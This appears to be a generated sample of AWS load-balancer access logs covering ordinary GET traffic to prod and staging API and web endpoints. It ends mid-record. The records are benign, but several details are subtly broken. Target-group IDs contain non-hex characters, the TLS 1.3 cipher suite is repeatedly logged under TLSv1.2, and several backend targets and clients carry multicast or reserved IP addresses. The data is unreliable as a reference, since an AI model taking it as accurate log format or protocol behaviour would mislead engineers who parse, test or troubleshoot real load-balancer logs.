"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dff3-a2ea3573d11a4401a69917e7" "prod-api-alb.example.com" "-" 6 2024-11-01T02:52:19.294380Z "forward" "-" "-" "10.0.35.61:443" "200" "-" "-" +http 2024-11-01T02:52:19.768650Z staging-alb 214.35.13.174:27479 80.145.110.127:8080 0.078983 0.566980 0.088751 200 200 78 9150 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dff3-bb18e68a8b1c4a8b899609a4" "staging-alb.example.com" "-" 2 2024-11-01T02:52:19.768650Z "forward" "-" "-" "80.145.110.127:8080" "200" "-" "-" +https 2024-11-01T02:52:19.984267Z prod-web-alb 23.154.15.206:62014 10.0.4.32:443 0.074583 0.378296 0.086203 404 404 536 9322 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dff3-7c62f2a93be040eaa25dd7e1" "prod-web-alb.example.com" "-" 2 2024-11-01T02:52:19.984267Z "forward" "-" "-" "10.0.4.32:443" "404" "-" "-" +http 2024-11-01T02:52:20.093552Z staging-alb 189.50.3.165:21779 178.118.207.11:80 0.026012 0.410381 0.132039 200 200 794 264 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dff4-39d3a1ff867f400f91338024" "staging-alb.example.com" "-" 7 2024-11-01T02:52:20.093552Z "forward" "-" "-" "178.118.207.11:80" "200" "-" "-" +https 2024-11-01T02:52:21.678760Z prod-api-alb 5.32.28.46:49515 10.0.135.140:443 0.009990 0.150222 0.081212 200 200 740 8849 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dff5-83d668b8e7904c6bb4d7a2e6" "prod-api-alb.example.com" "-" 8 2024-11-01T02:52:21.678760Z "forward" "-" "-" "10.0.135.140:443" "200" "-" "-" +http 2024-11-01T02:52:22.501999Z staging-alb 180.161.26.211:52523 202.64.185.13:80 0.052275 0.381282 0.014815 200 200 792 7260 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dff6-36139b7f0015424ca5645ba8" "staging-alb.example.com" "-" 2 2024-11-01T02:52:22.501999Z "forward" "-" "-" "202.64.185.13:80" "200" "-" "-" +https 2024-11-01T02:52:24.356753Z prod-web-alb 129.165.196.48:50153 10.0.26.191:443 0.035949 0.025482 0.032091 302 302 358 10982 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dff8-0f03aca99fdb4c61a33fe4c1" "prod-web-alb.example.com" "-" 7 2024-11-01T02:52:24.356753Z "forward" "-" "-" "10.0.26.191:443" "302" "-" "-" +https 2024-11-01T02:52:25.780720Z prod-api-alb 247.205.233.210:29814 10.0.98.11:443 0.013876 0.437325 0.060109 302 302 597 10879 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dff9-fe8e4fa0a6db440db05481aa" "prod-api-alb.example.com" "-" 3 2024-11-01T02:52:25.780720Z "forward" "-" "-" "10.0.98.11:443" "302" "-" "-" +https 2024-11-01T02:52:25.896888Z staging-alb 109.206.93.33:42839 171.116.10.86:8080 0.083980 0.337059 0.000925 200 200 713 11891 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dff9-18748251f1644f87b585b5d2" "staging-alb.example.com" "-" 5 2024-11-01T02:52:25.896888Z "forward" "-" "-" "171.116.10.86:8080" "200" "-" "-" +https 2024-11-01T02:52:26.176817Z prod-api-alb 75.142.50.132:19614 10.0.204.70:443 0.054991 0.317331 0.085692 200 200 146 10108 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dffa-d399f51aeb9141a686515145" "prod-api-alb.example.com" "-" 0 2024-11-01T02:52:26.176817Z "forward" "-" "-" "10.0.204.70:443" "200" "-" "-" +https 2024-11-01T02:52:27.422953Z prod-api-alb 184.38.147.246:50011 10.0.83.73:443 0.020857 0.074865 0.083060 200 200 432 6421 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dffb-6ba3012d5dbf441bbe7072c3" "prod-api-alb.example.com" "-" 0 2024-11-01T02:52:27.422953Z "forward" "-" "-" "10.0.83.73:443" "200" "-" "-" +http 2024-11-01T02:52:29.151718Z staging-alb 74.190.176.79:54756 69.252.241.170:443 0.098431 0.365265 0.109048 200 200 335 12683 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dffd-11b2d5c563f948d5ad7ee97d" "staging-alb.example.com" "-" 0 2024-11-01T02:52:29.151718Z "forward" "-" "-" "69.252.241.170:443" "200" "-" "-" +https 2024-11-01T02:52:30.269258Z prod-api-alb 171.24.16.197:61267 10.0.93.187:443 0.099056 0.277230 0.071938 302 302 467 14346 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dffe-df520f566fc940cbadf222e6" "prod-api-alb.example.com" "-" 8 2024-11-01T02:52:30.269258Z "forward" "-" "-" "10.0.93.187:443" "302" "-" "-" +http 2024-11-01T02:52:31.265737Z staging-alb 38.190.68.222:33886 128.51.54.229:80 0.092566 0.272730 0.129868 302 302 649 6874 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfff-45923946fb25454b9a2e5b99" "staging-alb.example.com" "-" 3 2024-11-01T02:52:31.265737Z "forward" "-" "-" "128.51.54.229:80" "302" "-" "-" +https 2024-11-01T02:52:31.664793Z staging-alb 101.129.171.129:62345 70.106.108.103:80 0.058559 0.194565 0.113781 404 404 621 7910 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dfff-753e4c2959b148eda19905f1" "staging-alb.example.com" "-" 10 2024-11-01T02:52:31.664793Z "forward" "-" "-" "70.106.108.103:80" "404" "-" "-" +https 2024-11-01T02:52:33.122080Z staging-alb 238.198.77.185:62660 221.0.42.128:443 0.014755 0.529637 0.086850 200 200 71 4339 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e001-52a22ad964824ecd80b73cf3" "staging-alb.example.com" "-" 4 2024-11-01T02:52:33.122080Z "forward" "-" "-" "221.0.42.128:443" "200" "-" "-" +https 2024-11-01T02:52:33.537058Z prod-web-alb 124.163.89.83:37399 10.0.255.253:443 0.028996 0.271917 0.086574 302 302 570 6482 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e001-4ea40df7af064cab912157c9" "prod-web-alb.example.com" "-" 5 2024-11-01T02:52:33.537058Z "forward" "-" "-" "10.0.255.253:443" "302" "-" "-" +https 2024-11-01T02:52:35.210761Z prod-web-alb 201.122.178.135:55352 10.0.57.17:443 0.024462 0.307871 0.088902 301 301 853 13204 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e003-f271a14b1a914d48815e50e5" "prod-web-alb.example.com" "-" 9 2024-11-01T02:52:35.210761Z "forward" "-" "-" "10.0.57.17:443" "301" "-" "-" +http 2024-11-01T02:52:37.023362Z staging-alb 201.231.245.183:61425 235.141.5.151:8080 0.045036 0.574250 0.110721 200 200 27 13700 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e005-8fccf748c7ac4859acd5569b" "staging-alb.example.com" "-" 4 2024-11-01T02:52:37.023362Z "forward" "-" "-" "235.141.5.151:8080" "200" "-" "-" +https 2024-11-01T02:52:37.568059Z prod-web-alb 49.94.106.119:38632 10.0.252.178:443 0.056559 0.288029 0.082060 404 404 553 696 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e005-723c4cb51ce34b28a53b2485" "prod-web-alb.example.com" "-" 9 2024-11-01T02:52:37.568059Z "forward" "-" "-" "10.0.252.178:443" "404" "-" "-" +https 2024-11-01T02:52:38.574726Z prod-api-alb 218.216.195.81:10290 10.0.103.133:443 0.074327 0.085715 0.057951 200 200 501 12603 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e006-640c43e75f9c431e826280dd" "prod-api-alb.example.com" "-" 2 2024-11-01T02:52:38.574726Z "forward" "-" "-" "10.0.103.133:443" "200" "-" "-" +https 2024-11-01T02:52:39.200233Z prod-api-alb 17.114.191.150:21193 10.0.155.112:443 0.065876 0.283391 0.024949 404 404 668 4905 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e007-1621e5415c87439eaa8dbb80" "prod-api-alb.example.com" "-" 5 2024-11-01T02:52:39.200233Z "forward" "-" "-" "10.0.155.112:443" "404" "-" "-" +https 2024-11-01T02:52:39.328455Z prod-web-alb 0.248.166.69:62068 10.0.43.235:443 0.024981 0.039882 0.055557 200 200 356 5440 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e007-350ad04dcf224b88997e6a93" "prod-web-alb.example.com" "-" 5 2024-11-01T02:52:39.328455Z "forward" "-" "-" "10.0.43.235:443" "200" "-" "-" +https 2024-11-01T02:52:39.702314Z prod-web-alb 145.148.68.57:58439 10.0.106.2:443 0.098011 0.126054 0.009934 200 200 28 6612 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e007-189dc3dafad048c6abb413db" "prod-web-alb.example.com" "-" 1 2024-11-01T02:52:39.702314Z "forward" "-" "-" "10.0.106.2:443" "200" "-" "-" +https 2024-11-01T02:52:40.717166Z prod-api-alb 33.149.107.119:35251 10.0.34.19:443 0.035568 0.339139 0.089350 200 200 805 10034 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e008-5c139fd51f2447ac817186eb" "prod-api-alb.example.com" "-" 8 2024-11-01T02:52:40.717166Z "forward" "-" "-" "10.0.34.19:443" "200" "-" "-" +https 2024-11-01T02:52:41.745373Z prod-api-alb 5.221.235.119:51042 10.0.64.222:443 0.080000 0.445167 0.085413 200 200 928 14280 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e009-4c9604c836ef46ffb19a4270" "prod-api-alb.example.com" "-" 0 2024-11-01T02:52:41.745373Z "forward" "-" "-" "10.0.64.222:443" "200" "-" "-" +https 2024-11-01T02:52:41.927881Z prod-web-alb 161.179.160.92:34466 10.0.240.189:443 0.024790 0.336364 0.086872 200 200 496 10287 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e009-b6ff655c1ba343838c936d6f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:52:41.927881Z "forward" "-" "-" "10.0.240.189:443" "200" "-" "-" +https 2024-11-01T02:52:42.259180Z prod-api-alb 8.154.238.36:28121 10.0.22.98:443 0.068485 0.319047 0.061900 302 302 864 11310 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e00a-a61264c5d01c43feb1e33216" "prod-api-alb.example.com" "-" 8 2024-11-01T02:52:42.259180Z "forward" "-" "-" "10.0.22.98:443" "302" "-" "-" +https 2024-11-01T02:52:43.414345Z prod-api-alb 103.124.124.68:23621 10.0.153.197:443 0.049480 0.212361 0.094153 301 301 539 14115 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e00b-75a1a8607d1c42449d04e384" "prod-api-alb.example.com" "-" 4 2024-11-01T02:52:43.414345Z "forward" "-" "-" "10.0.153.197:443" "301" "-" "-" +https 2024-11-01T02:52:43.953590Z prod-web-alb 189.41.89.13:13343 10.0.119.182:443 0.054526 0.070928 0.017073 301 301 697 3956 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e00b-4f89feac61dd47819e688c3c" "prod-web-alb.example.com" "-" 8 2024-11-01T02:52:43.953590Z "forward" "-" "-" "10.0.119.182:443" "301" "-" "-" +https 2024-11-01T02:52:44.312941Z prod-web-alb 187.183.175.76:27525 10.0.174.161:443 0.051200 0.450785 0.027487 302 302 896 8215 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e00c-6ab9fbdb08b44916853eaf38" "prod-web-alb.example.com" "-" 1 2024-11-01T02:52:44.312941Z "forward" "-" "-" "10.0.174.161:443" "302" "-" "-" +https 2024-11-01T02:52:44.724332Z prod-api-alb 120.16.80.220:45551 10.0.103.244:443 0.026516 0.338597 0.039041 200 200 687 1080 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e00c-697d13aa5d404281bf838e6a" "prod-api-alb.example.com" "-" 10 2024-11-01T02:52:44.724332Z "forward" "-" "-" "10.0.103.244:443" "200" "-" "-" +https 2024-11-01T02:52:46.422971Z prod-api-alb 118.59.173.175:29792 10.0.96.153:443 0.053950 0.444155 0.070250 200 200 196 4841 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e00e-3a5ced517060418aa01bd9d3" "prod-api-alb.example.com" "-" 10 2024-11-01T02:52:46.422971Z "forward" "-" "-" "10.0.96.153:443" "200" "-" "-" +https 2024-11-01T02:52:47.003749Z prod-web-alb 52.196.145.180:11143 10.0.95.24:443 0.073314 0.196151 0.017360 200 200 570 14331 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e00f-4d7223ed1b054302a90cb780" "prod-web-alb.example.com" "-" 3 2024-11-01T02:52:47.003749Z "forward" "-" "-" "10.0.95.24:443" "200" "-" "-" +https 2024-11-01T02:52:47.966234Z prod-web-alb 43.198.154.224:25737 10.0.219.135:443 0.027077 0.391554 0.033594 200 200 427 8242 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e00f-23e76768aa5c48baabbcdae0" "prod-web-alb.example.com" "-" 0 2024-11-01T02:52:47.966234Z "forward" "-" "-" "10.0.219.135:443" "200" "-" "-" +https 2024-11-01T02:52:49.298808Z prod-web-alb 169.134.20.15:22665 10.0.96.150:443 0.047660 0.400042 0.051579 200 200 305 10756 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e011-482e33ca0deb4f15a34b760a" "prod-web-alb.example.com" "-" 3 2024-11-01T02:52:49.298808Z "forward" "-" "-" "10.0.96.150:443" "200" "-" "-" +https 2024-11-01T02:52:49.432871Z staging-alb 20.197.153.164:62421 237.92.198.15:8080 0.007722 0.253756 0.130712 200 200 23 7179 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e011-269907f426fd41cc943e476c" "staging-alb.example.com" "-" 1 2024-11-01T02:52:49.432871Z "forward" "-" "-" "237.92.198.15:8080" "200" "-" "-" +https 2024-11-01T02:52:51.164938Z prod-web-alb 183.99.53.153:63232 10.0.76.210:443 0.020068 0.159086 0.046911 200 200 891 9787 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e013-02693c43593d4a06b86778ef" "prod-web-alb.example.com" "-" 1 2024-11-01T02:52:51.164938Z "forward" "-" "-" "10.0.76.210:443" "200" "-" "-" +https 2024-11-01T02:52:53.023043Z staging-alb 28.69.30.162:10857 27.136.176.175:443 0.050552 0.496509 0.055799 200 200 655 2157 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e015-3ea157ba1ddc4a6abcfae902" "staging-alb.example.com" "-" 9 2024-11-01T02:52:53.023043Z "forward" "-" "-" "27.136.176.175:443" "200" "-" "-" +https 2024-11-01T02:52:54.457592Z prod-api-alb 41.164.107.125:54059 10.0.174.22:443 0.069798 0.211039 0.087141 404 404 259 3292 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e016-be664d54439c4e40ba18a5ac" "prod-api-alb.example.com" "-" 1 2024-11-01T02:52:54.457592Z "forward" "-" "-" "10.0.174.22:443" "404" "-" "-" +http 2024-11-01T02:52:55.653481Z staging-alb 52.181.179.170:56808 234.232.209.213:80 0.142240 0.151413 0.082211 301 301 711 2705 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e017-6408827b64e548e6aa099f6c" "staging-alb.example.com" "-" 6 2024-11-01T02:52:55.653481Z "forward" "-" "-" "234.232.209.213:80" "301" "-" "-" +https 2024-11-01T02:52:56.016245Z prod-web-alb 1.24.1.116:52634 10.0.225.215:443 0.056207 0.217067 0.021168 200 200 979 10667 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e018-40c6589852ca41678238cdc5" "prod-web-alb.example.com" "-" 9 2024-11-01T02:52:56.016245Z "forward" "-" "-" "10.0.225.215:443" "200" "-" "-" +https 2024-11-01T02:52:56.869010Z prod-web-alb 112.48.149.31:23152 10.0.191.235:443 0.019180 0.028281 0.030362 301 301 989 11319 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e018-531a70bed3ed4d51ac7ffd4a" "prod-web-alb.example.com" "-" 10 2024-11-01T02:52:56.869010Z "forward" "-" "-" "10.0.191.235:443" "301" "-" "-" +https 2024-11-01T02:52:57.371926Z staging-alb 83.236.109.120:21956 115.26.116.111:443 0.058598 0.242147 0.019289 301 301 216 4892 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e019-cce0075543ff4c4ab5f84561" "staging-alb.example.com" "-" 0 2024-11-01T02:52:57.371926Z "forward" "-" "-" "115.26.116.111:443" "301" "-" "-" +https 2024-11-01T02:52:58.662453Z prod-api-alb 134.237.141.17:46980 10.0.239.178:443 0.001661 0.320733 0.019303 200 200 487 11997 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e01a-ebc55cd9bcf243cca85ca7e8" "prod-api-alb.example.com" "-" 10 2024-11-01T02:52:58.662453Z "forward" "-" "-" "10.0.239.178:443" "200" "-" "-" +https 2024-11-01T02:52:59.312485Z prod-api-alb 187.154.203.79:11416 10.0.143.128:443 0.041228 0.298903 0.035964 200 200 902 14690 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e01b-1f4263d8c5604e3f97f7f0a2" "prod-api-alb.example.com" "-" 3 2024-11-01T02:52:59.312485Z "forward" "-" "-" "10.0.143.128:443" "200" "-" "-" +https 2024-11-01T02:53:01.179399Z prod-api-alb 231.112.167.59:11148 10.0.15.191:443 0.004999 0.449286 0.034694 404 404 820 445 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e01d-889bcd18f620403197af48c1" "prod-api-alb.example.com" "-" 3 2024-11-01T02:53:01.179399Z "forward" "-" "-" "10.0.15.191:443" "404" "-" "-" +https 2024-11-01T02:53:02.064284Z prod-api-alb 234.209.216.66:35452 10.0.75.89:443 0.082132 0.409888 0.011456 302 302 744 12210 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e01e-290341d4c070404795bd9af1" "prod-api-alb.example.com" "-" 4 2024-11-01T02:53:02.064284Z "forward" "-" "-" "10.0.75.89:443" "302" "-" "-" +https 2024-11-01T02:53:03.367399Z prod-api-alb 47.36.119.220:47004 10.0.46.190:443 0.042825 0.283366 0.057400 200 200 796 7696 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 